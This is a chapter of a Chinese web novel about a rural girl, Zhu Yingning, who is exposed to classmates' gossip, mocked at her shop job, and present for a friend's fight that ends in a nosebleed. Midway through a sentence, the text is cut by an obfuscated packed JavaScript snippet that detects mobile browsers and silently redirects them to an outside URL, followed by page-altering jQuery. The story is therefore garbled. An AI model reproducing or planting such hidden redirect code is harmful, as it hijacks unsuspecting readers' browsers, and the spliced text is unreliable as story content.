70.鼻血
作品:《山里有个王子病》 屏幕上赫然是《交换人生》的综艺片段,冯达调了静音,但光是看着那熟悉的片段,祝婴宁脑海里都能自动配音——
“我脚崴到了,要他背一下怎么了?”
“他走不了路我才背他的,你们谁来搭把手,帮忙把他扶上去?”
……
她冷汗涔涔,心有戚戚,朝背后看了看,暗自庆幸许思睿不在这里,不然他估计又得羞愤欲死了。
郭莹颖惊愕地瞪大眼睛,把冯达的手机接过来,怼到眼前看了又看,不可置信地抬头比照着祝婴宁的脸:“这是……思睿和……你?”
她想维护一下许思睿的尊严,但又觉得不好撒谎,只能扯着嘴角弱弱地笑了笑。
“我就说你看起来很眼熟,我肯定在哪里见过的。原来你在综艺里出境过啊,那难怪了。”冯达双手撑着下颌,朝她笑得阳光灿烂,等郭莹颖震惊完了,他才把手机接过来,切出视频界面,说,“还有呢。”
祝婴宁以为他又要调出别的视频片段,结果他点开了一个网页,展示在她面前,叹道:“你还经历过这些事?真不容易。”
经历过这些事?
她纳闷地一抬眼,看清屏幕后,整个人猛然定住了。
是那篇被记者扭曲的采访。
郭莹颖再次接过冯达的手机,细细浏览着网页上的报道,看完以后,瞥向她的眼神掺了几分惊讶和同情:“你爸爸妈妈竟然逼你嫁人啊……?真的假的?好惨。”
她上一秒还有余力为许思睿的面子担忧,这一秒却像被粉尘扼住了咽喉,喉口干涩,脸色发白,半天才挤出一句近似辩白的:“不是……”
冯达和郭莹颖没有听到她细弱的辩解,两人完全沉浸在了新挖到的八卦里,你一言我一语,说:
“所以你现在在被许思睿资助?难怪你经常来找他。”
“还好你被他家资助了,不然好惨哪。”
“你爸爸妈妈真的逼你嫁给老头啊?”
“你们那里也太恐怖了,都二十一世纪了竟然还有这种事。”
“没想到你过得这么不容易。”
他们说了很恶毒的话吗?没有吧……祝婴宁迟缓地想。
他们甚至像是在关心她。
可是,虽然没有,为什么这些话落在飘散着咖啡香的空气里,却像无数巴掌,热辣辣地掌掴在她脸上?
她感到了难以描摹的难为情。
这股巨大的难为情如同海啸,将立于岸边无处躲藏的她残忍地吞没,窒进洋流深处,朝暗无天日的深海挤压。家乡忽然从褪色的画像变成了旧衣服上的补丁、袜子上的破洞和T恤领口脱线的线条,她胸腔里鼓噪着前所未有的窘迫,第一次试图埋头遮挡点什么,像遮住一个丑陋的胎记。
冯达和郭莹颖并未察觉她的异常,两人依然说得兴起。就在她觉得自己将要融化在座位上,变成一滩污水从这里流掉时,身侧的落地窗忽然被人从外头大力敲了一下。
叩的一声。
祝婴宁一激灵,循着声音看过去。
她看到许思睿站在落地窗外,高大的身影折射在落地窗上,鬼气森森的,脸色黑得堪比包公,没看冯达他们,只盯着她,用口型说:“出来。”
“……抱歉。”她指指落地窗外像是来讨债的许思睿,向冯达和郭莹颖歉意地表示自己得走了,随后缩着肩膀灰溜溜地离开座位,灰溜溜地滚去前台付了自己那份饮品的钱,又灰溜溜地来到了许思睿面前。
见她出来了,他依然没理里头的冯达,转身带路,大步流星朝前走,没好气道:“你跟他们在一起干嘛?”
祝婴宁不晓得他在气什么,不过被他这么一打岔,刚刚浓烈得像是要把她淹死的羞窘消失了,她三步并作两步跟上去,好奇地请教:“我不能跟他们在一起吗?”
“不能。”许思睿蛮不讲理地斜瞪向她。
“为什么?”
“没有为什么。你和他们很熟?”
她撇撇嘴,小声为自己声辩:“不熟,是因为冯达邀请我,我才……”
“他邀请你你就得答应?不熟你也答应?下回路边窜出来个乞丐邀请你去拾荒,你是不是也打算拾掇拾掇跟着一起去了?”
“……”
她刚想劝自己不要和处于叛逆期并且将长期处于叛逆期的许思睿计较,转念一想,忽的回过味来,怒道,“你凶我?你居然敢凶我?我都还没和你计较你提前交卷的事!还有,你为什么会在这里?我以为你回去了,所以你其实没有回去,你宁愿在外面无所事事地闲逛,也不愿意待在教室里多检查两遍试卷么?”
“……”
这回轮到许思睿沉默了,他没有回答,当然更没有回头,只是默默加快了步伐,想要不动声色把她甩开。
“许、思、睿——”
祝婴宁咬牙切齿地追了上去。
**
国庆期间人流量大,祝知微的服装店不仅没放假,还搞起了大促活动,生意特别火爆。祝婴宁三天两头往她那跑,忙得昏天黑地,以至于没时间再去理会许思睿了。
假期第五天,她换上工作服,随着伊伊去其他楼层发传单拉客。
大楼人来人往,她们摩西分海,艰难穿梭于人群中。有了之前在街边发传单的经验,祝婴宁已经练出了厚脸皮,也不管对方是接受还是拒绝,总之先说声谢谢把传单塞过去,大部分人反应不过来,都会下意识接过。
把传单塞给一对年轻男女后,祝婴宁才后知后觉对方似乎是她认识的人,仰头一看,她和对方均大吃一惊。
戴以泽说:“卧槽,怎么是你?”
他手里提着大包小包,有化妆品也有各式女装,邵彦君在他身后拿了个折叠镜补口红,闻言,也掀起眼皮看过来,不冷不热抬了抬眉,缓缓问:“你在这打工?”
她刚把“是的”两个字念完,邵彦君便扬起嘴角,低头粗略扫了两眼传单,说:“有意思。”拍了拍戴以泽的肩,果断做出决定,“走,去看看。”
“去哪?”
“小土妞打工的店啊。”
祝婴宁:“……”
她思考了几秒,才意识到小土妞是在形容她。
戴以泽似乎不太乐意,嘴里嘟嘟囔囔抱怨个不停:“我手里提了这么多东西,要不咱先回去吧?土妞的店有啥好看的,肯定跟她一样土。”
但很显然,他和邵彦君之间,邵彦君才是说一不二的那个。她按照传单上的地址走得飞快,戴以泽只能像□□老大的弱鸡小弟一样卑微地跟上去。
祝婴宁本来该继续发传单了,但她越想越焦虑,担心祝知微被刁难,犹豫了片刻,还是向伊伊告别,扭头追上他们。
到达了目的地,像是没想到她工作的地点这么“高端”,邵彦君和戴以泽都有些茫然,站在门口上下打量了许久店面,最后才在祝婴宁“进来看看吗”的招呼声中抬腿踏了进去。
“我天……真想不到啊。”戴以泽仿佛瞬间感觉不到手里那些袋子的重量了,双臂一挽,把所有袋子挽在臂弯上,贵妇巡街一样,在衣架间游历起来。
五分钟后,他选出一件连衣裙,问邵彦君:“你要不要去试衣间试试?我觉得这衣服挺适合你。”
邵彦君正蹲在地上挑光腿神器和内衣,闻言头都没抬:“不用了,信你的眼光,滚去付款吧。”
“你在挑啥?”戴以泽捧着裙子凑过来。
“丝袜,胸|罩。”
“这个花纹好。”戴以泽伸手拿起一件蕾丝胸|罩,面色如常,语气更是四平八稳,仿佛手里拿的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15804072|174662||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不是胸|罩,而是一条可以拿来擦桌子的破抹布。
祝婴宁在一旁看得呆若木鸡,一方面震惊于他们话题的大胆和奔放,一方面震惊于他们竟然赏脸在这消费了。
给他们结账的时候,她整个人都晕晕乎乎的。
“打个折呗。”戴以泽冷不丁开口道。
祝婴宁看了看结账界面,确认了一遍,说:“已经打过折了。”
“你打的是你们国庆活动的折,再打个同学折呗。”
同学折……
她正暗自咀嚼着这个新奇的表达,身后祝知微便走了出来,笑道:“你们是宁宁的朋友?”
祝知微的气质一看就是店长,戴以泽立马来了精神,稍息立正,把歪歪扭扭的站姿摆正了,毫无廉耻之心地点头道:“是啊姐姐,我们特意来照顾宁宁生意的。”
宁宁……
祝婴宁被他突如其来的昵称恶心出了一身鸡皮疙瘩,哆嗦一下,正想说点什么,祝知微便抢在前头开口了:“好啊,承蒙你们照顾宁宁了,那就折上加折,在国庆活动半价的基础上再给你们打八五折吧。”
“谢谢姐姐!姐姐您真是大好人!”戴以泽脸上都要笑出褶子了,眼神瞥向祝婴宁时,暗地里加了几分威胁的意味,像在说“快结账,敢多嘴揍死你”。她只好咽了咽唾沫,给他们来了个折上加折。
结账完毕,邵彦君把所有袋子扔给戴以泽,继续掏出她的镜子补妆,大步流星往门店外去了,戴以泽屁颠屁颠地跟在她身后,眨眼间,两人就被人群吞没,来去匆匆,消失无影。
祝婴宁这才收回视线,不好意思地对祝知微说:“微微姐,钱你从我工资里扣吧。”本来国庆大促就快逼近成本价了,八五折一打,这生意直接做成了亏本生意,她看着都心焦。
祝知微不悦地瞪她一眼:“再胡说小心我削你。”
“……不要削我。”她瘪瘪嘴,知道祝知微必然不会同她计较这些钱,可她心里依然过意不去,遂暗自决定等发工资以后再请她吃顿饭,就去她之前带她吃过的那家中餐厅好了。
**
下班回到家已是夜里八点半,祝婴宁在玄关处脱了鞋,发现门口没有许正康的鞋子,但有许思睿的鞋子和一双陌生的男款球鞋。
看来是许思睿的朋友过来做客了。
她正默默猜测着会是谁,就听许思睿的卧室骤然爆发出一声怒气冲天的咆哮:“我□□……许思睿,你到底什么时候能成熟点,你能不能别总这么幼稚?!”
是孙明远的声音。
她贴在门板上,还没来得及震惊孙明远居然能发出这么失控的怒吼,下一秒,许思睿的卧室便传出了更加失控的乒乒乓乓的巨响,随后砰的一声,卧室门被人大力甩开了,脆弱的门板撞在墙壁上,发出散架的哀鸣。许思睿从里面冲出来,面沉如水,跟尊煞神似的,满脸神挡杀神佛挡杀神的气势。
人对危险情况有本能的感知,祝婴宁没傻到这时候去触他霉头,赶紧闪身让出了门口的位置。
许思睿果然看都没看她,趿拉上鞋子,将未合稳的门大力一踹,踹出了一种令人牙酸的咯吱声响,随后头也不回地离开了。
他走后,过了足有三分钟,祝婴宁急促的心跳才勉强平复下来。她动了动酸涩的腿,想去许思睿房间看看情况,结果没走几步,孙明远就捂着鼻子跑了出来,看到她,一愣。
“……嗨。”
祝婴宁觉得自己可能是被刚才的情况吓得脑子抽了,她居然举起手,二傻子一样朝孙明远“嗨”了声。
孙明远可能没想到她在外面,也没想到她会这样问好,静默几秒,举起另一只手,也“嗨”了回去,还朝她礼貌地点了点头。
这一点,鼻血瞬间从他捂着的那只手里甩了出来。